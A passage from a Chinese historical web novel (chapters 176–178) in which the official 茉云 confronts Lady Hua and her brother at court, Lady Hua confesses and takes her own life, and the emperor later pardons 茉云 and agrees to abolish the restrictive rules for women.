华夫人神情分明微微一怔，眼中闪过一丝细微的波动，但很快恢复平静。
柳大人面露愠色几步上前，怒目直视着茉云冷喝道：“你放肆！纯属一派胡言，尔等卑贱女子岂敢如此毫无凭据胡乱揣测！”
他的话语中透出压迫之意，显然是压制茉云而来。然而话音未落，便听到皇上冷冷开口，声音中带着不容置疑的威严：“柳大人，问案之时，站在一旁稍安勿躁，今日朕还在此。”
这番话犹如一盆冷水泼下，柳大人瞬间僵在原地，脸色一时变得苍白，他看向皇上那如冰冷的刀锋眼神，顿时感到了自己那句放肆，惹怒了圣上，他马上惊慌退后不敢再发一言。
大殿内的气氛瞬间变得愈发紧张，皇上转过头，目光落在茉云身上，神色依旧冷峻，眼神示意她继续问案。
“文中又言，女子当深居简出，不离闺阁，不抛头露面。凡遇男子，必退避三舍，不言不视。婚配以父母之命为天，以家族之意为重，不得私定终身，妄图选择婚配。”茉云继续背着女德中言冷冷的笑道，“我怎么从夫人所写之言中，看出了深深的嫉妒。”
华夫人微微抬首，以一种高高在上的姿态回视着茉云，仿佛在说评述于我？你也配！
“下官若记得不错，夫人的姐姐，就是您所谓的这种抛头露面，遇见了命中之人，后来十里红妆风风光光的嫁入卢府，与元帅伉俪
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情深！”
“家姐已走了多年，请大人莫提她的名讳，污了她之名！”华夫人眼神冷淡扫了一眼茉云，不屑于回应。
“元帅夫人走了这么多年，元帅再未娶，您的姐夫们皆深情之人，不负你姐姐们的一世倾情，敢问华夫人与她们不同的，规规矩矩的按照父母之命，家族之重的婚姻，过得好吗？”
此时圣上顿时扶着龙椅的手，握紧了椅背，关太傅更是倒抽一口气，她说的不单是指华夫人的姐夫元帅，她说的是华夫人的姐夫们，那便是将圣上也算了进去，她竟敢提起皇上这段谁都不敢提的往事，她这是当真不给自己留半分后路了……
“夫人的女德中还写着，既嫁从夫，夫为天也，无论贤愚，皆当无怨顺从。日常操持家务，相夫教子，宽以待之，忍以顺之，不得争执顶撞，亦应忍辱含垢！”茉云说到此狠戾的笑了，“我怎么觉得这是夫人生活的真实写照啊，您这是劝诫别人，还是向天控诉啊！”
华夫人依旧端庄从容，可茉云不知道是不是自己的错觉，她的眼中闪过一丝隐忍，嘴角却仍带着一抹淡淡的冷笑。
茉云则继续冷笑着背着女德上写的文字：“侍奉公婆，必以孝为首，晨昏定省，不辞劳苦，视如亲生父母。公婆言令当听，教诲当从，尤不可有怨。凡事以和为贵，若遇公婆严责，亦当受之坦然，切勿忤逆。哎……”
众人不知为何，不过是背诵女德之言，可任谁都能感受到茉云言语中透出的锐利，似刀锋般直指华夫人。
“奈何华夫人，守寡丧子了几十年，就被婆婆骂命硬毒妇克死了她儿子孙儿几十年，世人还皆以华家为典范！”
柳大人此刻都吃惊的望向他的妹妹华夫人，而华夫人终于看向了茉云，两人目光在殿中相遇，华夫人面容依然带着阴冷的倨傲，而茉云眼神坚定的好似一眼便能将她看穿。
“让这南华城的女子皆受夫人所受之苦，也没能熄灭夫人这心中不忿的怒火，终究也是徒然啊！夫人，这报仇要找对仇家啊！”
华夫人脸色微微一沉，但很快恢复从容，冷然道：“我仇家？”
茉云面容冷厉的缓缓上前一步，眼光直逼华夫人：“夫人，谁逼你将一生过成这样，谁才是你仇家！”
“谁逼我？”
茉云顷刻间又冷冷笑了，那笑容带有几分狠戾又带有视其可悲的哀婉：“华夫人，任南华全城女子用悲凉的一生陪你尝尽女子人世苦楚，没有用！你能好过受几分，你就能逃离这牢笼？”
华夫人冷然的看着茉云，眼里的光在渐渐暗淡。
“任你如何为非作歹，你以为你嫉妒了一世的姐姐们，在天之灵看见你的恶行会感到痛苦？没有用！人家也见到，你过着这般叫天天不应，叫地地不灵的日子，定然也觉得解恨了吧！”
茉云盯着华夫人，犹如猎鹰盯住猎物般。一步步向前，声音越发冷冽。
“任你杀了千山、万莫也是枉然，没有用！那个人不会回来了，而你的丈夫，儿子也走了，在这空洞的人世，任你如何挣扎皆无用！”
话语如重锤击下，华夫人的嘴角不由得微微颤动，可她面色从容却目不转睛的望向茉云，用一种哀莫大于心死的眼神。
“但是杀了卢正啸着实是个好办法，这也足以毁了你仇人！”茉云顷刻间阴鸷般的笑了望向华夫人说，“可你现在杀不了卢正啸了，他们日后还是依仗着他，高官厚禄，富贵荣华，世世代代忠诚良将！然后将你这一生的碎瓦和残痕，视若无睹，而你能如何呢？”
华夫人似乎被茉云的话语摄了魂一般，痴痴的说：“能如何呢？”
“已是深渊万丈！忍受、麻痹、哀嚎、挣扎皆不如疯癫，他们就站在这里，报仇啊！”茉云抬手指向殿上一众人，冷厉而疯癫的笑了。
华夫人原本紧绷的神情，忽然顷刻间松懈下来，她低下头肩膀微微颤抖，似乎忍不住笑意。片刻后，她猛地仰起头，眼中闪烁着一抹疯狂的光芒，唇角扬起放声大笑，那笑声尖锐刺耳，回荡在空旷的大殿中，令人不寒而栗。
176.高贵
大殿之上气氛再一次瞬间凝固，令人窒息。茉云的疯癫和华夫人的狂笑，让朝臣再一次瞠目结舌，眼神中透出难以置信的震惊。一些官员甚至微微后退一步，偷偷抬袖掩唇，掩饰心中的震撼与不安。
而柳大人看见自己妹妹华夫人那充满疯狂与怨恨的大笑，不禁瞪大了双眼，似乎想要开口，却因惊讶而发不出声音。
在这片错愕与震惊的中，唯有圣上神色冷峻目光如炬，居高临下地注视着大殿中央的两人，抬目扫过在场之人每一个细微的表情。最终目光落在了正啸身上，看见这张素来刚毅的面庞，露出一丝难以掩饰的绝望。
“对！什么军权在握，边关大局，又与我何干，我帮瑞王爷杀卢正啸，就是要断了柳家的荣华富贵！”
这一瞬间，柳大人整个人僵在原地，原本冷峻镇定的神情瞬间崩塌，仿佛不敢相信眼前的一切。
“忠臣良将？”华夫人冷笑得肩膀都在猛烈颤动，“自幼我才是柳家嫡女，连太后都曾赞誉我，仪态端庄，才德兼备，乃京城名门贵女之典范，我姐柳玉鉴自幼粗俗，习武束发，不男不女，可她偏偏就勾搭上了元帅家的长子，家里那个受宠若惊的样子，我至今都觉得甚为恶心！”
元帅瞬间握紧了拳头，咬牙冷眼望向华夫人，从没有想过自己妻子百般心疼的那个妹妹，居然是这般怨恨她。
“嫁了柳玉鉴却还如不了她们的愿！还用尽心机将我嫁入太尉府！他们口口声声说为我好，可实则不过是为了柳家的利益，换取朝中的地位，可谁管我这苦命的一生，而立之年丧夫丧子！”
她的声音低沉，却带着刺骨的恨意，每一个字亦都带着无尽的痛楚。
“华夫人，你丈夫也待你不薄！”
“也算是吧，可你问问卢家，我丈夫是怎么死的，我儿子又是怎么死的！他们一个接一个倒在了战场，是谁将他们逼上那不归之路，是卢家为了自己的权势，将他们害了！”
华夫人的声音带着撕裂般的痛苦，好似胸中积压多年的怨恨终于在这一刻爆发，眼神如刃带着满腔的怨恨。
元帅闻言脸色骤变，怒火再也隐忍不住，指着华夫人声音如雷鸣般怒吼：“你简直一派胡言！华定南乃当世英杰，忠贞不二的朝廷良将，一生战功赫赫，为国为民，他为国捐躯，荣光万世，而你，身为其妻在此胡言乱语，定南生前的光辉和忠义，竟被你这般玷污？”
“收起你的伪善吧，这世上就只有你儿子卢正啸此生能活得这么众星捧月，活得这么风光无限？”
华夫人面对元帅的怒斥，依然倔强地抬起头，目光中带着决绝的冷意，交织着最深的怨恨，根深蒂固再难消弭。
“华夫人，当年的实情全军皆知，元帅，大将军皆不让华子盛上战场为先锋，是因为他经验尚浅，而当年峑戎一战凶险！”执礼站在正啸身边忍无可忍的控诉道，“可你来信怒斥于他，让他必须争得立功机会，他违抗军令去追击敌将，结果中了敌军陷阱，中箭而亡，大将军为了带回他的遗体，身受重伤！”
“胡说，他们卢家就是怕我盛儿年少英雄抢了卢正啸的锋芒！我儿子是太尉的嫡孙，他若在，轮到卢正啸站在此处？”
众人眼中满是震惊与不可置信，原本端庄尊贵的华夫人，此刻如同陷入疯癫般，泪水与怒火交织，脸上满是怨恨与失控的神情，目光中透着无尽疯狂的偏执。
“我的恨，你们怎么懂！”华夫人疯癫得如同一头走投无路的困兽，痛苦却无处倾泻的朝茉云怒吼道，“他们所有人！为了权势，为了虚伪的忠诚！让我一生成为牺牲品！让我嫁入太尉府，害我年纪轻轻成了寡妇，再眼睁睁看着自儿子赴死，被日日折磨，天不公啊！为什么你们没有报应！”
“你们兄妹皆疯魔偏执至此，不是你家的报应吗？”茉云冷然立于殿中央淡然说道。
众人顿时又瞠目结舌的望向茉云，她为何说的是兄妹……
华夫人转身望向柳大人，眼神中透出了最深的怨恨，嘶哑而尖利的笑了，突然从心底撕裂般朝柳大人喊道：“是的，哥，这都是报应！这就是我们柳家的报应，都是活该的！”
这一瞬间，柳大人的神情犹如一道被击裂的石碑，内心的防线已然崩溃一地。
“你兄长，不会懂的，他到此刻亦会认为，他为你选了一切最好的！”茉云淡然的笑了望向柳大人说道，“就像当年中州之时，柳大人差人来跟我说，卢正啸天命高贵，而我命如蝼蚁，我为之提鞋牵马皆是上天的恩赐，我本是不配的！我当日不懂，他失魂落魄的来了中州，遇见一个赤诚忠勇的属下，为何要受这般羞辱！”
正啸握紧的双拳微微颤动，千言万语却哽在喉间难以启齿，胸膛剧烈起伏，压抑着深藏的无奈和苦痛。
“后来柳大人不容分说的将我调入边城，欲置我于死地，我更是不懂，我愿意跟他所谓最心疼的外甥和战友们，同生共死并肩作战，大敌当前，我随时可以为朝廷大业，为南境太平而死！可我为何就要这么平白无故，没有任何意义的在边城被弄死！”
此时望向茉云的若辰深吸一口气，微微垂首，目光中透出一抹深沉的叹息，自中州开始茉云真所谓是惊涛骇浪中 。
“大将军的师妹林宥汐一家本罪不至于家破人亡，不知是如何被查实的？唐百欣姐弟更不至于有能耐在卢家兴风作浪，又是是谁给的权利和野心？从头到尾，打着护佑他招牌，行监视之能，操控他的一切，唯恐他做出一点不如自己心意之事！任他尝遍人生的苦痛煎熬，如何挣扎反抗，永远的答复都是，这是为你好！”
元帅则站在一旁沉默良久，终于深深叹了口气。他的目光微微闪动，眼神中满是苍凉与复杂。他是沙场上的铁血之人，见惯生死冷暖。
但此刻，他的叹息中却充满了无言的沉痛，既觉得辜负妻子的嘱托，又觉得没有爱护儿子半分，都不知道他这些年经历了多少苦楚。
“您的兄长也是这般待你的，他是不可能让你嫁一个毫无出生靠战功摸爬滚打上来的参将，哪怕那人待你至诚至信，你兄长也觉得你日后定会后悔，他觉得你现在是个开心得不得了的丧夫丧子的寡妇。因为你是位高权重的一品诰命夫人！而他是被权势早已迷晕了眼的疯子！”茉云冷凌的指着柳大人望向华夫人说道。
“对，他当年也是这么对我的！他都是为我好，他都是为别人好，其实他就是为了他自己！”华夫人言语中满是痛苦与怨愤，眼神游离，神情近乎疯癫，仿佛沉浸在过往的绝望中不能自拔，“为了你所谓的家国荣光，为了所谓的争口气，将我抛入这无情的漩涡中，从未顾及我的生死与悲苦！”
“家国荣光？你太给他脸上贴金了，他眼中只有家族荣耀，何曾有国，若他眼中有国，他怎可能意图蒙蔽众人？”茉云的眼神又透出了狠戾冷冷的望向柳大人笑了，“当年处死武林的林盟主，明明是刑部结的案，为何不是交由圣上勾决，而是一道圣旨突然赐死的林盟主，他将圣上至于何地？大将军看到旨意又会如何想？”
关太傅此时都冷冷的倒抽了口气，没想到这孩子此时这般狠辣，这简直是将柳大人推入万丈深渊，剑指柳大人蒙蔽圣上，利用圣上之威除掉正啸身边他想除之人，造成了圣上与正啸、卢家心里多年的隔阂，这可是于圣上而言的天大的大忌！
“还有那些对大将军的言行的规劝，您总要加一句有违圣意，可那真是圣意吗？”
茉云字字句句皆带锋芒地直冲柳大人，豆大的冷汗从他额头渗出，他微微张口但却一句话也说不出来，被这一句句逼问的重锤，砸得毫无招架之力，面对众人逐渐向他投
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来的不信任之神情，他愈发绝望。
见他迟迟不答，茉云冷笑一声，声音愈发凌厉的逼问“柳大人，你口口声声忠于朝廷，忠于圣上……”
“够了！”此时一声低沉的呼喊骤然响起，“欲加之罪，若无实证，不要妄言！”
茉云的逼问顷刻被打断了，她晃过神来，看了过去，说话的是正啸。
正啸双眉紧皱，目光沉重地看向茉云，语气中带着无尽的复杂情感，示意她不要再说了。而这一声呼喊如洪钟般打破了大殿此刻的氛围。
茉云则一脸不服气的抽回了目光，圣上则看向正啸和茉云的神情，微妙的轻轻扬起了眉尾。
“为何不要再说，长辈都说你是这世上最勇敢的孩子，怎得如今也都不敢面对了？”顿时华夫人瞪向正啸，声音尖锐而颤抖，带着一种刺骨的凄厉。
正啸深吸一口气望向自己的三姨，自幼自己便知她心性不如外人说的那般温和善意，但终究亦是个克己端庄的女子，可没想到她被这苦痛的一生，逼迫到如此癫狂之地步。
华夫人突然抬头向天抱着头，发出最后一声凄厉的怒吼，仿佛将积年累月的怨恨和痛苦一并倾泻而出。她如同被什么驱使一般，目光冷冷扫视着殿上之人，最后眼神又定在柳大人身上，露出一抹决绝的冷笑。
就在众人还未反应过来之时，华夫人猛然朝大殿的柱子奔去，步伐坚定而无一丝迟疑，眼中透着不顾一切的决绝。她的衣袖在奔跑中飞扬而起，宛如飞蛾扑火般，带着无尽的悲怆与绝望，直直地撞向柳大人身旁那冷硬的柱子，此时正啸飞身而起要拦，却已来不及了……
“砰——”一声闷响，她的身影停滞，整个殿内瞬间陷入一片死寂。华夫人缓缓滑倒在柱前，鲜血从额头渗出，沿着苍白的面庞缓缓流下，染红了她的锦衣华服，也染红了她曾经的尊贵与荣耀。
“三姨！”正啸不顾一切的去扶她，而她的眼眸在渐渐失去神采。
元帅亦不顾一切的冲上前喊道：“三妹，您这又是何苦呢？”
华夫人的眼神已经开始半闭却仍然透着怨愤，唇边微微颤动，不知呢喃着什么，好似无声的诅咒。
茉云忽然轻轻走到了华夫人身边，深吸一口气淡淡的说道：“华夫人，并非淮南皓月冷千山，冥冥归去无人管，是你想错了……”
当她闭上眼的瞬间，她听到了这首诗顿时拼尽最后的力气睁开了眼睛，望向了茉云。这是她嫁人前，用笔写在闺房案上的诗！
“千山……是他取的名字！”茉云满脸带着不情愿的指了指千山，“其实他一直都还在！”
华夫人望向正啸身边的千山怔了半刻，一刹那，好似有一道熟悉而温柔的声音在耳边轻轻响起，似一缕微风，带着她记忆深处最柔软的温暖。
“属下愿化作山峦，为三小姐遮风挡雨，护您一世无忧……”这是他曾经的许诺，他的声音是这般的粗犷却真挚，却在此刻穿透了所有痛苦的屏障，又一次直抵她的内心。
“您也不是，从未曾被人在意过！”茉云看向她皱眉叹息的说道。
华夫人嘴角忽然轻轻荡起一丝解脱，她从腰间用尽最后的力气取出了一个香囊将它放在正啸的手上：“啸儿，帮我……把这些……留给……他的一双侄儿，还有记住三姨的话……永远不要……让他们控制……你的一切，特别是你的心……”
最终华夫人的手沉沉落在了石板上，所有的怨恨直到最后一刻，好似才得到了一分释然。
柳大人踉跄地向前一步，扑倒在她身旁，他颤抖的手伸向她的额头，鲜血染红了他的指尖，也染红了他的眼。往日的威严与高高在上顷刻不复存在！
殿内众人无不震惊，皆目光呆滞地看着她倒下的身影，那抹曾经的高贵此刻成了永恒的凄凉。
177.烈焰
翌日，整个别苑好似还沉浸在昨日的悲痛之中，正啸眼中带着一抹难以掩饰的疲惫和哀痛。那悲痛的情绪亦好似是一种共鸣，这些年自己何尝不是，也被这沉重的枷锁牢牢掌控，胸口仿佛压着巨石，有时连呼吸都觉的困难。
此时若辰轻步走来，眼见正啸的神情，心中想宽慰他，但又不知如何开口，只能微微叹息。
可他终究还是要将目前状况告知于他，若辰声音低沉带着一丝无奈和焦急：“正啸，你要打起精神来，如今情势复杂，圣上对你三姨华夫人之事颇为震怒，你舅……圣上尚未作出定夺，究竟如何处置还未可知，而圣上今早下旨将茉云转入死牢，等候处置。”
正啸瞬间抬头望向若辰，面色更显苍白，仿佛在一瞬间被抽去了魂魄一般，可他又瞬间清醒，起身出了别苑便飞身上马，往行宫疾驰而去。
寒风如刀割般掠过，他全然不觉，策马到了行宫大门前，刚听侍卫来报皇上允了见他，他便片刻不停地走入行宫，直奔皇上的书房而去，一路上他只能不断提醒自己要冷静……
正啸推开沉重的书房门，跨步而入便扑通一声跪倒在皇上面前，重重叩首。书房内一片寂静，唯有他的呼吸声低沉而急促，显得格外压抑与绝望。
皇上抬眼看着他，神色微动冷然问道：“你还敢来为谁求情？”
正啸心中清楚，自己不能为任何人开口辩护，这世上皇上最不能容他辱逆圣意……
他抬起望向圣上，顿时百感交集再也无法抑制，他忽然狠命一磕头，额头重重撞在坚硬的石砖上，发出一声沉闷的撞击声。顷刻间，地上的石砖被磕裂，血迹从他的额头缓缓渗出。
皇上一愣，脸上露出难以掩饰的震惊之色，关太傅和邓大人站在皇上身旁都怔住了。皇上手指微颤，看向正啸眼神中闪过一丝复杂的情感，他未曾想过正啸会如此失控，却也能感受到他的悲痛而绝望。
此刻追随他而来的若辰，站在门口也愣住了，
这一刻，皇上沉默了，目光深邃而沉重，望向正啸的神情中透出一抹不易察觉的动容，他终究是心疼正啸的。
若辰晃过神进来行礼，眼神中亦是无助和痛苦的，圣心难测，这一刻自己又能做什么帮他们呢？
皇上目光微凝，静静地注视着跪在案前的正啸和若辰，沉默良久，才缓缓抬手，声音低沉而威严：“来人，传方茉云，朕有话要亲自问。”
侍卫闻令立刻领旨，匆匆退下去传旨。正啸抬目望向皇上，皇上的目光仍然停留在他身上，眼中闪烁着几分难以捉摸的意味，皇上似乎还在考量……
正啸心中顷刻冷静下来，虽知前途未卜，但他必须尽量让自己的情绪冷静平复下来。关太傅轻叹一口气，望向正啸额头上的血迹这般鲜红刺目，是人都能感受到，正啸他们在用尽全力去守住她这一丝生的希望。
书房内恢复寂静，皇上端坐在高位，沉稳而不露声色的抬手，示意他们退去旁屋，他们只得起身领旨，不久之后门外便传来缓慢而镇定的脚步声。
皇上抬目而去，阳光透过行宫廊檐洒向茉云的面容，她此刻居然还如此从容……
茉云步履稳健入书房，此刻她面色微微苍白，额角有一层细汗，隐约中透出伤势的不适，旧伤在胸口隐隐作痛。
她跪下像皇上行礼，那略显苍白的脸色并未削弱她的气势，反而给她平添一抹冷峻与凛然。
“这份弹劾你的奏折，你可还要仔细看看？”
“启禀皇上，其实不用，臣这些年干过什么，历历在目，臣知罪！”
皇上眉目间透着冷峻的威严，微微低头，拿起案上的奏折，目光缓缓扫过每一行字，这份弹劾方茉云的奏折，实乃字字犀利，逐句都如此刺眼。
“奏折上说，你昔年冒名顶替你兄长，欺君罔上，做了县尉！”
茉云语气平静而坦然，毫无躲闪：“皇上，此事属实。臣女长兄入狱，二哥当时身患重疾，家中无人继承官职，臣女冒名顶替，只为延续家门香火，养活家中兄长侄儿，臣知道此乃欺君之罪，可是臣是那种只有有一线希望都会搏一把之人，臣自知罪无可恕，可于臣而言，今日才死，也算赚到了。”
“赚了什么？”
茉云看向皇上坦然的笑了禀报道：“与光同航，何其快哉！”
正啸深深吸了口气，透过缝隙望向茉云那坦然而无畏的神情，顿时他都能感受到自己心的跳动。
皇上亦沉默了片刻，冷然继续问：“奏折上还言，你在中州便行事乖张，行为不检，在边城为司马时更是视人命如草芥，逼疯刺史……”
茉云沉着的回答道：“臣，性情直率行事严厉，确实有点难当重任，但是臣虽知错，但不悔！”
邓大人都愣了半刻望向茉云，她这哪儿是来认罪伏法的架势。
“臣其实有时当真是没法，臣拿了朝廷的饷银，定是不想辜负朝廷，中州日日被卢正……大将军耳提面命，可我也是想把活干好，虽严苛但至少公正，边城就更别说了，那里乱成一团，刺史终日啥事不干，大战在即，让他们移城他们还非不愿，说不明白，只能动手！”
关太傅微微抬眉望向茉云，她这是在跟圣上聊天呢？
“那今日之南华城瑞王谋反，还有华夫人之案呢？你当着众人之面，说朕的臣子结党营私，更是那般剑指朕的重臣，柳大人当真罪无可恕了？”
“其实也不是罪无可恕，他是偏执不自知，有句古话将在外君命有所不受，只因打战必须因地制宜，您都能大气容他们，可柳大人事事控制卢正啸他们，整我便算了，南境大战在即，等下他还以为自己是打战的行家，指挥他们打战呢？我觉得必须防范于未然！”
“你要防范于未然，朕就要折了一名肱股之臣吗？”
“皇上，臣自入公门之时起，从未主政一方，上面皆有人管着，臣嫉恶如仇，从来都是将案情严办上报！”茉云嘴角上扬的说道，“除了那边城刺史是个昏庸之辈，幸好其他上官都非常英明，皇上更是仁德明君，自会明朝秋毫。”
皇上丢开了奏折冷冷望向茉云，关太傅则嘴角微微上扬，若辰听到此也忍俊不禁，她便是如此行事之人，我干我的，挖了坑闯出了祸，得有人给她收场，填坑。
“据说你还曾经一箭将正啸射下马！”
“启禀皇上，是的，不止大将军，元帅我也射中过，还有震北将军，顾将军，巡抚关大人也不幸……”茉云无奈的捂着头想着说道，邓大人余光看向圣上那微妙的表情，只能伏低头忍住了心中的笑意。
“皇上，但是臣是为了置之死地而后生，峑戎的暗营实在是太阴狠了，皇上的朝廷行的都是光明大道，可有的时候道高一尺魔高一丈。”
皇上依旧面色冷峻的望向茉云，目光中透出一丝探究。
“论打战，臣绝对相信皇上的正义之师所向披靡，可论玩阴的，那些将军都是直肠子，玩阴谋诡计一个比一个菜，黄将军还曾救过我爹的命，是我全家大恩人，就这么被他们阴了。臣就想，我朝地大物博，什么人才没有，咱也能以其人之道还治起身，有点时候不弄点邪乎的事，搞不赢啊！”
邓大人又无语而忍俊不禁的望向茉云，可他瞬间伏低头调整了自己情绪，自己的属下余震说的一点没错，方茉云此人就是最大的邪乎！
“置之死地而后生，你觉得自己还有后生？”
“启禀皇上，人之将死其言也善，故而臣此刻绝无欺君之言。”
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茉云眼中只有坦然的说。
关太傅也隐忍不住轻轻的笑了，你说此女子粗俗吧？她着实豪情万丈，你说她不懂礼吧？她此刻将这番强盗般的逻辑，说得如此义正言辞。
皇上眉头微微皱起，眼神冷冽地丢开奏折，声音故作低沉：“那也就是说奏折上言，你皆认了？”
“启禀皇上，也不全然！”茉云一脸正色的禀报道，“奏折上说，臣意图以色相勾引大将军，是污蔑！”
皇上端起茶杯的瞬间，抬目凝视了她一眼，邓大人和关太傅也此刻齐齐望向茉云！
“臣无色相，完全没有！此指控纯属无稽之谈！”
皇上都差点被茶呛到，放下茶杯没好气看向茉云，若辰亦顷刻被逗笑了，望向正啸，正啸此刻眼神才透过一丝无语。
“奏折上还言，你与敌国大将交好，意图通敌卖国，忠奸不明。”
茉云眼神中透出一抹坚决，无语的长叹一口气：“圣上，臣女家乡在南境，继承父志，此生夙愿便是南境太平.！”
皇上目光微微一沉冷然问道：“朕问你，你何以如此笃定，大将军便是唯一能平定南境之人？”
茉云闻言，从容的回道：“圣上，臣始终相信，功崇惟志业广惟勤，若一个人，生而为此事来人世，此生为此事而活，也仅能为此事而活，便能做到极致！”
皇上望向她目光中那不容置疑的信任，这应该就是她与啸儿风雨与共的岁月里，心中早已铸就了对正啸最深的理解。
“皇上，就像是一把千锤百炼，受尽猛火和烈锤，造就的利刃。它一路走来，是众人拾柴火焰高，也是万人锤打炼真金。这样的利刃，若出鞘，定是锐不可当，无往而不胜！”
“那你是什么？”
茉云的目光微微闪动，带着坚定和无畏，她没有正面回答，只是仰起头说道：“若在最后一刻，这把利刃的火候仍尚未足，那便可以跳进那熔炉，化作熊熊烈焰，助他淬炼锋芒，直至他真正无坚不摧，所向披靡！”
皇上凝视着茉云，目光中透出深深了震动，这份义无反顾的赤诚与信念，仿佛将她整个人都燃烧了起来，令她化成一团炽热的火焰，闪烁着难以扑灭的光芒。
“正啸，愿化作这利刃？”
“他生来没得选择吧！”茉云忽然抬头正视皇上说道，“天降大任的意思是不是就是——天上不论掉下来什么，他都得接着呀，愿不愿意没人管吧？”
皇上沉默片刻，心却又被深深触动，啸儿自小便是没得选择，自己一生其实亦是如此……愿不愿意没人管吧？
正啸深吸一口气眼底的坚硬与冷静悄然消融，取而代之的是一抹隐忍的柔情。他的唇微微抿紧，望向茉云的坚定而炽烈，被她那句“跳进熔炉，化做烈焰”深深击中，让他心中生出欲裂的痛惜。
若辰亦深吸一口气，若是朝堂之上谁人这番豪言，又有几分真，可是茉云这一路便是时刻都准备将自己化作熔炉之火，殊死一搏……
皇上的目光变得深邃如海，带着一种深沉的思量，良久后，才冷声道：“朕自当查明真相，你下去吧！”
茉云深深行了一礼，她缓缓起身轻轻抬眸望向皇上，语气中透出了一丝恳切：“皇上，臣最后可否还求一事，求您废除禁锢南华多年的女规！”
关太傅轻吸一口气望向茉云，人说她狠辣无情，处事决绝，可她临死之际还不愿错过为南华众女子争取一丝希望的机会。
皇上静静地看着她，目光微微动容，最终点了一下头。茉云虽显疲惫的面容顷刻笑了，她又深深行礼谢恩后，头也不回地转身离去，步伐依旧从容。
这一刻，她如一朵傲然的梅花，在这肃穆的大殿中绽放着她的决然和毅然。
178.本该
茉云的身影消失在大殿门口，皇上缓缓起身，脸上带着几分沉思看向桌上的两份旨意，最终伸手拿起了下面一份递给了关太傅。关太傅恭敬的接过圣旨，心中却长长松了一口气。
皇上朝旁屋看了一眼，抬步准备离去，正啸却不顾一切地从一旁走了出来，未等皇上回过神来，他就拦住了圣驾，双膝重重跪下，若辰亦跪在了他身旁。
“你这是何意？”皇上目光微凝，带着一丝不可捉摸的威严又像是长辈对孩子没好气的质问。
正啸深吸一口气没有答话，可似乎这一刻是他已没有了其他的章法，只能请求：“姑父，啸儿求您了……”
皇上微微一震看向拦住自己的正啸，他的声音中都透出一抹无法掩盖的惶恐和恳求，此刻为求这个恩典，他可不顾一切……
皇上转头望向了关太傅，脸上皆是无奈又忿然的表情，好似在说这小子，已经多少年没叫过自己姑父了，这会儿为了个姑娘来卖乖了，真是出息！关太傅则心领神会望向圣上温和的笑了，皇上没好气的长长叹了一口气，拂袖继续朝殿外走去。
“皇上！”正啸依旧跪在地上，紧握的拳头微微颤抖，眼神依旧没有一丝要放弃的意味，起身要追。
此时关太傅缓缓将圣旨递给了若辰，若辰顷刻慌乱的打开了奏折，愣了半刻一把拉住了正啸。
“皇上赦免了茉云！”若辰马上将圣旨递到正啸面前。
正啸看向圣旨上遒劲而稳重的字迹，再抬头看着皇上离去的背影，心中五味杂陈，他明白这份沉默的答复，是圣上留给自己的一丝温暖和体谅。
关太傅深吸一口气，圣上素来看重朝堂纲纪，如此都能赦免，不知他们是否明白这番良苦用心。圣上怎会不知正啸这些年的苦，现在柳大人也要离开了，圣上亦有他的不得已，可他愿意去保全所有能保全正啸之人……而且这也是圣上唯一可给予正啸的安慰了。
正啸起身微微低头，双拳不自觉地缓缓松开，僵硬的肩膀渐渐放松，两人向关太傅行礼之后，并肩离开行宫，紧绷多日的神情终于出现一丝轻松，仿佛压在他们心头的大石终于卸下。
回到别苑，正啸走到父帅房门前，从门缝中瞧见的一幕让他不禁一怔。元帅正和柳大人对坐饮酒，元帅神情冷峻眉宇间透出愠怒，手中的酒杯狠狠放下，发出一声沉闷的响声。
他怒目瞪向柳大人，毫不留情地骂道：“你简直是愚不可及！我们这些戎马之人，一生无愧于天地，无愧于朝廷圣上即可，你竟如此害人害己啊！茉云那孩子为了抗敌大业付出了那么多，你！怎么下得去手这般诬陷于她！哎……也怪我，我竟然如此失察，我日后这张老脸都没法去见你姐！”
元帅语气中的失望与愤怒，字字句句击打在柳大人心上，柳大人本是神情呆滞目光空洞，听到元帅提起长姐，他好像再也隐忍不住了。
他的手微微颤抖咬紧牙关，终于掩面痛哭，肩膀因抽泣而不停颤动，仿佛将所有的悔恨与痛苦一并宣泄出来，犹如一头丧失了最后尊严的困兽，在最崇敬的姐夫面前彻底崩溃。
正啸站在门口看着这一幕，心中虽都是苦痛与无奈，但他最终没有推门进去，而是转身离开，也算为长辈留下最后一丝尊严。
他独自坐到了廊边微微仰头，靠着冰冷的廊柱，目光望向苍穹，夜色已幽深，月光洒清辉，寒风穿廊而过，却无法吹散他心中的沉痛。
回忆浮现脑海，三姨曾经是那么的端庄而坚强的女子，一生却也在权力和命运的捉弄下凋零至此，他又不由得想起那些在战争中失去了丈夫的军中家眷，她们都是日日夜夜在家守望，却无法逃避命运的残酷，等待她们的只有那无尽的孤寂和绝望，伴随着一生的艰难与困苦。
星月再美，却掩盖不住这人世的无常与伤痛。
忽然间，一阵疾步声打破了宁静，是万莫匆匆而来，身后还带着茉云的属下小马，两人神色间显然带着几分焦急与不安。小马一见到大将军，便立即上前一步，微微躬身行了大礼。
“大将军！”他轻声道，声音低沉而急切，语气满是担忧，“方大人被放出大牢，回到俞府就倒下了，腾腾去寻了白神医夫妇，白夫人说她伤势未愈还如此操劳，如今已发起高烧，白夫人说……不知大将军可否前去一见？”
他的话语尚未完全落下，正啸神情已瞬间一变，毫不犹豫地转身，飞身跃出庭院，上马往俞家疾驰而去。风声在耳边呼啸，月光映照在他紧绷的脸庞上，今日见她时，她就面色如此苍白。
一路疾驰，终于赶到了俞府，未等禀报府中，他直接从后门入了茉云房中。
夜色深沉，茉云房中烛光微弱却透着急切，白神医早已等候在门口，见正啸到来，眼中松了一口气，连忙迎上前压低声音道：“正啸，茉云伤势未愈却如此操劳，现高烧不退，只有靠你尽快以内力为她驱散内热。”
正啸闻言毫不犹豫地推开门走入内室，房内一片寂静，唯有烛火微弱地摇曳着，映出床上那道虚弱的身影。他走近她身旁，眼神中透出深深的担忧。
他缓缓坐在床边，伸手轻轻触碰她的额头，顿时感到一股炽热的温度透过指尖传来。白夫人在一旁为她换着额上的手帕。
正啸抬手瞬间凝聚自己内力，将手掌轻轻拍在她背上，缓缓将内力注入她体内。
茉云的额上渐渐浮现出细密的汗珠，脸色也缓缓恢复了几分血色。白夫人见状，眼中露出一抹欣喜，连忙轻声道：“她出汗了！”
“正啸，你可收功歇会儿！”
